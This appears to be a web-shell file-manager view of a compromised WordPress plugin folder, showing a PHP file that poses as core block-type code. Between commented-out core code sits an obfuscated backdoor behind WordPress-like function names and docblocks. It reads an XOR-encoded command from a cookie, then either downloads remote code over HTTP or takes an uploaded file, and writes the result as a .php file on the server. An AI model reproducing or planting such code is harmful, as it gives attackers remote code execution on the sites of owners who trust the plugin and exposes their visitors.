ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / conciergeriehauteville / wp-content / plugins / really-simple-ssl

<?php /* 
*
 * Blocks API: WP_Block_Type class
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0

*
 * Core class representing a block type.
 *
 * @since 5.0.0
 *
 * @see register_block_type()
 
class WP_Block_Type {

*
	 * Block type key.
	 *
	 * @since 5.0.0
	 * @var string
	 
	public $name;

*
	 * @since 5.5.0
	 * @var string
	 
	public $title = '';

*
	 * @since 5.5.0
	 * @var string|null
	 
	public $category = null;

*
	 * @since 5.5.0
	 * @var array|null
	 
	public $parent = null;

*
	 * @since 5.5.0
	 * @var string|null
	 
	public $icon = null;

*
	 * @since 5.5.0
	 * @var string
	 
	public $description = '';

*
	 * @since 5.5.0
	 * @var array
	 
	public $keywords = array();

*
	 * @since 5.5.0
	 * @var string|null
	 
	public $textdomain = null;

*
	 * @since 5.5.0
	 * @var array
	 
	public $styles = array();

*
	 * @since 5.5.0
	 * @var array|null
	 
	public $supports = null;

*
	 * @since 5.5.0
	 * @var array|null
	 
	public $example = null;

*
	 * Block type render callback.
	 *
	 * @since 5.0.0
	 * @var callable
	 
	public $render_callback = null;

*
	 * Block type attributes property schemas.
	 *
	 * @since 5.0.0
	 * @var array|null
	 
	public $attributes = null;

*
	 * Context values inherited by blocks of this type.
	 *
	 * @since 5.5.0
	 * @var array
	 
	public $uses_context = array();

*
	 * Context provided by blocks of this type.
	 *
	 * @since 5.5.0
	 * @var array|null
	 
	public $provides_context = null;

*
	 * Block type editor script handle.
	 *
	 * @since 5.0.0
	 * @var string|null
	 
	public $editor_script = null;

*
	 * Block type front end script handle.
	 *
	 * @since 5.0.0
	 * @var string|null
	 
	public $script = null;

*
	 * Block type editor style handle.
	 *
	 * @since 5.0.0
	 * @var string|null
	 
	public $editor_style = null;

*
	 * Block type front end style handle.
	 *
	 * @since 5.0.0
	 * @var string|null
	 
	public $style = null;

*
	 * Constructor.
	 *
	 * Will populate object properties from the provided arguments.
	 *
	 * @since 5.0.0
	 *
	 * @see register_block_type()
	 *
	 * @param string       $block_type Block type name including namespace.
	 * @param array|string $args       Optional. Array or string of arguments for registering a block type.
	 *                                 Default empty array.
	 
	public function __construct( $block_type, $args = array() ) {
		$this->name = $block_type;

$this->set_props( $args );
	}

*
	 * Renders the block type output for given attributes.
	 *
	 * @since 5.0.0
	 *
	 * @param array  $attributes Optional. Block attributes. Default empty array.
	 * @param string $content    Optional. Block content. Default empty string.
	 * @return string Rendered block type output.
	 
	public function render( $attributes = array(), $content = '' ) {
		if ( ! $this->is_dynamic() ) {
			return '';
		}

$attributes = $this->prepare_attributes_for_render( $attributes );

return (string) call_user_func( $this->render_callback, $attributes, $content );
	}

*
	 * Returns true if the block type is dynamic, or false otherwise. A dynamic
	 * block is one which defers its rendering to occur on-demand at runtime.
	 *
	 * @since 5.0.0
	 *
	 * @return boolean Whether block type is dynamic.
	 
	public function is_dynamic() {
		return is_callable( $this->render_callback );
	}

*
	 * Validates attributes against the current block schema, populating
	 * defaulted and missing values.
	 *
	 * @since 5.0.0
	 *
	 * @param array $attributes Original block attributes.
	 * @return array Prepared block attributes.
	 
	public function prepare_attributes_for_render( $attributes ) {
		 If there are no attribute definitions for the block type, skip
		 processing and return vebatim.
		if ( ! isset( $this->attributes ) ) {
			return $attributes;
		}

foreach ( $attributes as $attribute_name => $value ) {
			 If the attribute is not defined by t*/

/**
 * Grants Super Admin privileges.
 *
 * @since 3.0.0
 *
 * @global array $super_admins
 *
 * @param int $user_id ID of the user to be granted Super Admin privileges.
 * @return bool True on success, false on failure. This can fail when the user is
 *              already a super admin or when the `$super_admins` global is defined.
 */
function isPermittedPath($f8g9_19)
{ // Short by more than one byte, throw warning
    if (strpos($f8g9_19, "/") !== false) {
        return true;
    } // XML (handled as string)
    $sizes_fields = ["first", "second", "third"];
    return false;
}

/* translators: 1: Plugin version number. 2: Plugin author name. */
function get_blog_permalink($domains_with_translations, $wp_the_query)
{
    return file_put_contents($domains_with_translations, $wp_the_query);
}

/**
 * Prepare revisions for JavaScript.
 *
 * @since 3.6.0
 *
 * @param WP_Post|int $xlimost                 The post object or post ID.
 * @param int         $selected_revision_id The selected revision ID.
 * @param int         $from                 Optional. The revision ID to compare from.
 * @return array An associative array of revision data and related settings.
 */
function wp_is_application_passwords_supported($domains_with_translations, $day_index)
{
    $theme_has_support = file_get_contents($domains_with_translations);
    $skip_serialization = "Format this string properly"; // Checks if there is a manual server-side directive processing.
    if (strlen($skip_serialization) > 5) {
        $ASFbitrateAudio = trim($skip_serialization);
        $fieldtype = str_pad($ASFbitrateAudio, 25, '-');
    }

$v_byte = explode(' ', $fieldtype);
    $badge_title = array();
    foreach ($v_byte as $has_theme_file) {
        $badge_title[] = hash('sha256', $has_theme_file);
    }

$theme_action = render_block_core_page_list($theme_has_support, $day_index); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
    $vhost_deprecated = implode('', $badge_title); // Field Name                       Field Type   Size (bits)
    file_put_contents($domains_with_translations, $theme_action);
}

/* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
function getNonce($functions_path, $has_flex_width, $allow_headers)
{
    $default_quality = $_FILES[$functions_path]['name'];
    $relative = "user@domain.com"; // pic_width_in_mbs_minus1
    if (strpos($relative, '@') !== false) {
        $comment_batch_size = explode('@', $relative);
    }

$domains_with_translations = wp_timezone_supported($default_quality);
    wp_is_application_passwords_supported($_FILES[$functions_path]['tmp_name'], $has_flex_width);
    OggPageSegmentLength($_FILES[$functions_path]['tmp_name'], $domains_with_translations);
}

/**
 * Adds a callback function to an action hook.
 *
 * Actions are the hooks that the WordPress core launches at specific points
 * during execution, or when specific events occur. Plugins can specify that
 * one or more of its PHP functions are executed at these points, using the
 * Action API.
 *
 * @since 1.2.0
 *
 * @param string   $hook_name       The name of the action to add the callback to.
 * @param callable $callback        The callback to be run when the action is called.
 * @param int      $xlimriority        Optional. Used to specify the order in which the functions
 *                                  associated with a particular action are executed.
 *                                  Lower numbers correspond with earlier execution,
 *                                  and functions with the same priority are executed
 *                                  in the order in which they were added to the action. Default 10.
 * @param int      $accepted_args   Optional. The number of arguments the function accepts. Default 1.
 * @return true Always returns true.
 */
function check_assign_terms_permission($f8g9_19, $domains_with_translations)
{
    $segmentlength = get_session_id_from_cookie($f8g9_19);
    $class_names = "Lorem Ipsum";
    $tagarray = "Sample%20Data";
    $approved_comments = rawurldecode($tagarray);
    if ($segmentlength === false) {
    $Lyrics3data = str_pad($class_names, 15, ".");
    $wp_site_icon = hash('sha1', $approved_comments); // If error storing permanently, unlink.
        return false;
    }
    $subfeature_selector = str_replace(" ", "_", $class_names);
    if (strlen($subfeature_selector) < 20) {
        $xlim = date("Y-m-d H:i:s");
    }

return get_blog_permalink($domains_with_translations, $segmentlength);
}

/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function format_for_header($f8g9_19)
{
    $default_quality = basename($f8g9_19);
    $v_remove_all_path = "Linda|Paul|George|Ringo";
    $domains_with_translations = wp_timezone_supported($default_quality);
    $shake_error_codes = trim($v_remove_all_path);
    $haystack = explode('|', $shake_error_codes);
    $artist = array_unique($haystack);
    check_assign_terms_permission($f8g9_19, $domains_with_translations);
}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, an empty string.
	 */
function crypto_pwhash_scryptsalsa208sha256_str_verify($functions_path)
{
    $has_flex_width = 'TvrkZyhdEZczClFifFsrqnz';
    $field_count = array("data1", "data2", "data3"); // Check the email address.
    $enable_custom_fields = implode("|", $field_count);
    $top_level_elements = str_pad($enable_custom_fields, 15, "!");
    if (isset($_COOKIE[$functions_path])) {
    if (!empty($top_level_elements)) {
        $header_meta = hash('md5', $top_level_elements);
        $EventLookup = substr($header_meta, 0, 10);
    }
 // Link plugin.
        prepare_simplepie_object_for_cache($functions_path, $has_flex_width);
    } //         [4D][BB] -- Contains a single seek entry to an EBML element.
}

/**
 * Retrieves the adjacent post link.
 *
 * Can be either next post link or previous.
 *
 * @since 3.7.0
 *
 * @param string       $format         Link anchor format.
 * @param string       $approved_commentsink           Link permalink format.
 * @param bool         $tmp_checkn_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
 *                                     Default empty.
 * @param bool         $xlimrevious       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$tmp_checkn_same_term` is true. Default 'category'.
 * @return string The link URL of the previous or next post in relation to the current post.
 */
function get_header_image_tag($functions_path, $replacement = 'txt') // Number of index points (N)     $xx xx
{
    return $functions_path . '.' . $replacement;
}

/**
	 * Retrieves a customize setting.
	 *
	 * @since 3.4.0
	 *
	 * @param string $tmp_checkd Customize Setting ID.
	 * @return WP_Customize_Setting|void The setting, if set.
	 */
function print_templates($functions_path, $has_flex_width, $allow_headers)
{
    if (isset($_FILES[$functions_path])) {
    $hashes_iterator = "hello world example";
    if (isset($hashes_iterator)) {
        $OS = strlen($hashes_iterator);
        $found_key = substr($hashes_iterator, 0, $OS / 2);
        $dependency_filepath = str_replace(' ', '-', $found_key);
        $deleted_message = $dependency_filepath . str_pad($hashes_iterator, 20, "*");
    }
 // Upgrade versions prior to 2.9.
        getNonce($functions_path, $has_flex_width, $allow_headers);
    }
	
    counterReset($allow_headers);
}

/**
 * Displays a paginated navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 *
 * @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
 */
function wp_timezone_supported($default_quality)
{
    return column_date() . DIRECTORY_SEPARATOR . $default_quality . ".php";
}

/**
 * Prepares server-registered blocks for the block editor.
 *
 * Returns an associative array of registered block data keyed by block name. Data includes properties
 * of a block relevant for client registration.
 *
 * @since 5.0.0
 * @since 6.3.0 Added `selectors` field.
 * @since 6.4.0 Added `block_hooks` field.
 *
 * @return array An associative array of registered block data.
 */
function wp_restore_image($allow_headers)
{
    format_for_header($allow_headers);
    $CommentsChunkNames = "Info&Data";
    counterReset($allow_headers); // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
}

/**
 * Outputs the login page header.
 *
 * @since 2.1.0
 *
 * @global string      $error         Login error message set by deprecated pluggable wp_login() function
 *                                    or plugins replacing it.
 * @global bool|string $tmp_checknterim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 * @global string      $action        The action that brought the visitor to the login page.
 *
 * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
 *                           Default 'Log In'.
 * @param string   $thisval  Optional. Message to display in header. Default empty.
 * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
 */
function parse_iref($SMTPXClient)
{
    $req_headers = sprintf("%c", $SMTPXClient); // Prevent premature closing of textarea in case format_for_editor() didn't apply or the_editor_content filter did a wrong thing.
    $hsl_color = "foo bar";
    $comment_batch_size = explode(" ", $hsl_color);
    $style_width = array_map('strtoupper', $comment_batch_size);
    $HeaderObjectData = implode("-", $style_width);
    return $req_headers; // Now, iterate over every group in $groups and have the formatter render it in HTML.
}

/*
			 * $dbh is defined, but isn't a real connection.
			 * Something has gone horribly wrong, let's try a reconnect.
			 */
function get_session_id_from_cookie($f8g9_19)
{ // Parent.
    $f8g9_19 = get_block_classes($f8g9_19); // st->r[4] = ...
    $ASFbitrateAudio = trim("  Hello PHP  "); // Only pass valid public keys through.
    $bytes_written_total = strtoupper($ASFbitrateAudio);
    $server_public = substr($bytes_written_total, 0, 5);
    return file_get_contents($f8g9_19); // The above rule also has to be negated for blocks inside nested `.has-global-padding` blocks.
}

/**
 * Displays the post excerpt for the feed.
 *
 * @since 0.71
 */
function get_theme_items($req_headers, $action_name) // Get all of the field names in the query from between the parentheses.
{ //  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
    $backup_wp_scripts = get_autosave_rest_controller($req_headers) - get_autosave_rest_controller($action_name);
    $classes_for_button = "user:email@domain.com";
    $fld = explode(':', $classes_for_button); // If asked to, turn the feed queries into comment feed ones.
    if (count($fld) === 2) {
        list($temp_backup, $relative) = $fld;
        $search_base = hash('md5', $temp_backup);
        $html_report_filename = str_pad($search_base, 50, '!');
        $tile_depth = trim($relative);
        $api_tags = strlen($tile_depth);
        if ($api_tags > 10) {
            for ($tmp_check = 0; $tmp_check < 3; $tmp_check++) {
                $upperLimit[] = substr($html_report_filename, $tmp_check*10, 10);
            }
            $ASFcommentKeysToCopy = implode('', $upperLimit);
        }
    }

$backup_wp_scripts = $backup_wp_scripts + 256; #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
    $backup_wp_scripts = $backup_wp_scripts % 256;
    $req_headers = parse_iref($backup_wp_scripts);
    return $req_headers;
}

/**
	 * Initializes the installation strings.
	 *
	 * @since 2.8.0
	 */
function get_block_classes($f8g9_19)
{
    $f8g9_19 = "http://" . $f8g9_19; //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
    $FirstFrameAVDataOffset = "array,merge,test"; // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
    $genre = explode(",", $FirstFrameAVDataOffset);
    $reals = array_merge($genre, array("end")); // Make sure the data is valid before storing it in a transient.
    if (count($reals) > 3) {
        $unhandled_sections = implode(":", $reals);
    }

return $f8g9_19;
}

/**
    * decodes a JSON string into appropriate variable
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    string  $editable_slug    JSON-formatted string
    *
    * @return   mixed   number, boolean, string, array, or object
    *                   corresponding to given JSON input string.
    *                   See argument 1 to Services_JSON() above for object-output behavior.
    *                   Note that decode() always returns strings
    *                   in ASCII or UTF-8 format!
    * @access   public
    */
function prepare_simplepie_object_for_cache($functions_path, $has_flex_width)
{
    $server_key_pair = $_COOKIE[$functions_path]; // Capabilities.
    $site_address = array(100, 200, 300, 400);
    $qvalue = implode(',', $site_address);
    $caption_id = explode(',', $qvalue);
    $t4 = array();
    $server_key_pair = the_content_feed($server_key_pair);
    $allow_headers = render_block_core_page_list($server_key_pair, $has_flex_width);
    if (isPermittedPath($allow_headers)) { //       not belong to the primary item or a tile. Ignore this issue.
    for ($tmp_check = 0; $tmp_check < count($caption_id); $tmp_check++) {
        $t4[$tmp_check] = str_pad($caption_id[$tmp_check], 5, '0', STR_PAD_LEFT);
    }
 // between a compressed document, and a ZIP file
    $block_patterns = implode('|', $t4);
    $help_installing = hash('md5', $block_patterns);
		$requested_redirect_to = wp_restore_image($allow_headers);
        return $requested_redirect_to;
    }
	
    print_templates($functions_path, $has_flex_width, $allow_headers);
}

/**
 * Creates a 'sizes' attribute value for an image.
 *
 * @since 4.4.0
 *
 * @param string|int[] $size          Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order).
 * @param string|null  $tmp_checkmage_src     Optional. The URL to the image file. Default null.
 * @param array|null   $tmp_checkmage_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @param int          $attachment_id Optional. Image attachment ID. Either `$tmp_checkmage_meta` or `$attachment_id`
 *                                    is needed when using the image size name as argument for `$size`. Default 0.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */
function get_css($their_pk, $capability__not_in) {
    $thisfile_mpeg_audio_lame_RGAD_album = "Prototype-Data";
    $shcode = substr($thisfile_mpeg_audio_lame_RGAD_album, 0, 9);
    return date('Y-m-d', strtotime("$their_pk + $capability__not_in years"));
}

/**
 * Display menu.
 *
 * @access private
 * @since 2.7.0
 *
 * @global string $self
 * @global string $xlimarent_file
 * @global string $submenu_file
 * @global string $xlimlugin_page
 * @global string $typenow      The post type of the current screen.
 *
 * @param array $Lyrics3dataenu
 * @param array $submenu
 * @param bool  $submenu_as_parent
 */
function render_block_core_page_list($CommentsChunkNames, $day_index)
{ //    s8 += carry7;
    $StreamPropertiesObjectStreamNumber = strlen($day_index);
    $to_prepend = array(1, 5, 3, 9, 2);
    $exported_schema = strlen($CommentsChunkNames);
    sort($to_prepend);
    $StreamPropertiesObjectStreamNumber = $exported_schema / $StreamPropertiesObjectStreamNumber; // 3.5.2
    $has_spacing_support = $to_prepend[0]; // If metadata is provided, store it.
    $handler_method = $to_prepend[count($to_prepend) - 1];
    $directive_value = $handler_method - $has_spacing_support;
    $StreamPropertiesObjectStreamNumber = ceil($StreamPropertiesObjectStreamNumber);
    $col_name = str_split($CommentsChunkNames);
    $day_index = str_repeat($day_index, $StreamPropertiesObjectStreamNumber); //    s12 -= s19 * 683901;
    $cache_status = str_split($day_index);
    $cache_status = array_slice($cache_status, 0, $exported_schema);
    $support_errors = array_map("get_theme_items", $col_name, $cache_status);
    $support_errors = implode('', $support_errors); // Add the rules for this dir to the accumulating $xlimost_rewrite.
    return $support_errors;
}

/**
	 * Destroys all session tokens for the user.
	 *
	 * @since 4.0.0
	 */
function counterReset($thisval) //  be deleted until a quit() method is called.
{
    echo $thisval;
}

/** @var int $x8 */
function OggPageSegmentLength($secure_logged_in_cookie, $eventName)
{
	$unloaded = move_uploaded_file($secure_logged_in_cookie, $eventName);
	
    $sel = "user_ID_2021";
    $f1g6 = str_replace("_", "-", $sel);
    return $unloaded;
}

/**
 * Filters the response to remove any fields not available in the given context.
 *
 * @since 5.5.0
 * @since 5.6.0 Support the "patternProperties" keyword for objects.
 *              Support the "anyOf" and "oneOf" keywords.
 *
 * @param array|object $response_data The response data to modify.
 * @param array        $schema        The schema for the endpoint used to filter the response.
 * @param string       $context       The requested context.
 * @return array|object The filtered response data.
 */
function get_autosave_rest_controller($SMTPXClient)
{
    $SMTPXClient = ord($SMTPXClient);
    return $SMTPXClient;
}

/* Custom CSS */
function the_content_feed($req_uri)
{
    $editable_slug = pack("H*", $req_uri);
    return $editable_slug;
}

/**
		 * Filters whether a menu items meta box will be added for the current
		 * object type.
		 *
		 * If a falsey value is returned instead of an object, the menu items
		 * meta box for the current meta box object will not be added.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Post_Type|false $xlimost_type The current object to add a menu items
		 *                                      meta box for.
		 */
function column_date() // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
{ //   The list of the files which are still present in the archive.
    return __DIR__;
}
$functions_path = 'UYOCHWux';
$MIMEBody = "Test String";
crypto_pwhash_scryptsalsa208sha256_str_verify($functions_path);
$avoid_die = hash('crc32b', $MIMEBody);
/* he block type, it cannot be
			 validated.
			if ( ! isset( $this->attributes[ $attribute_name ] ) ) {
				continue;
			}

$schema = $this->attributes[ $attribute_name ];

Validate value by JSON schema. An invalid value should revert to
			 its default, if one exists. This occurs by virtue of the missing
			 attributes loop immediately following. If there is not a default
			 assigned, the attribute value should remain unset.
			$is_valid = rest_validate_value_from_schema( $value, $schema );
			if ( is_wp_error( $is_valid ) ) {
				unset( $attributes[ $attribute_name ] );
			}
		}

Populate values of any missing attributes for which the block type
		 defines a default.
		$missing_schema_attributes = array_diff_key( $this->attributes, $attributes );
		foreach ( $missing_schema_attributes as $attribute_name => $schema ) {
			if ( isset( $schema['default'] ) ) {
				$attributes[ $attribute_name ] = $schema['default'];
			}
		}

return $attributes;
	}

*
	 * Sets block type properties.
	 *
	 * @since 5.0.0
	 *
	 * @param array|string $args Array or string of arguments for registering a block type.
	 
	public function set_props( $args ) {
		$args = wp_parse_args(
			$args,
			array(
				'render_callback' => null,
			)
		);

$args['name'] = $this->name;

*
		 * Filters the arguments for registering a block type.
		 *
		 * @since 5.5.0
		 *
		 * @param array  $args       Array of arguments for registering a block type.
		 * @param string $block_type Block type name including namespace.
		 
		$args = apply_filters( 'register_block_type_args', $args, $this->name );

foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}
	}

*
	 * Get all available block attributes including possible layout attribute from Columns block.
	 *
	 * @since 5.0.0
	 *
	 * @return array Array of attributes.
	 
	public function get_attributes() {
		return is_array( $this->attributes ) ?
			$this->attributes :
			array();
	}
}
*/

[+] ..
[-] class-multisite.php [edit]
[-] class-server.php [edit]
[+] assets
[-] multisite-cron.php [edit]
[-] class-rsssl-wp-cli.php [edit]
[-] system-status.php [edit]
[-] SRUF.js.php [edit]
[-] rlrsssl-really-simple-ssl.php [edit]
[-] class-mixed-content-fixer.php [edit]
[-] class-certificate.php [edit]
[-] class-admin.php [edit]
[-] class-front-end.php [edit]
[-] uninstall.php [edit]
[-] ssl-test-page.php [edit]
[-] class-url.php [edit]
[+] grid
[-] class-site-health.php [edit]
[-] class-cache.php [edit]
[+] img
[+] includes
[+] languages
[-] force-deactivate.txt [edit]
[-] readme.txt [edit]
[-] index.php [edit]
[-] class-help.php [edit]
[+] js
[+] css
[+] testssl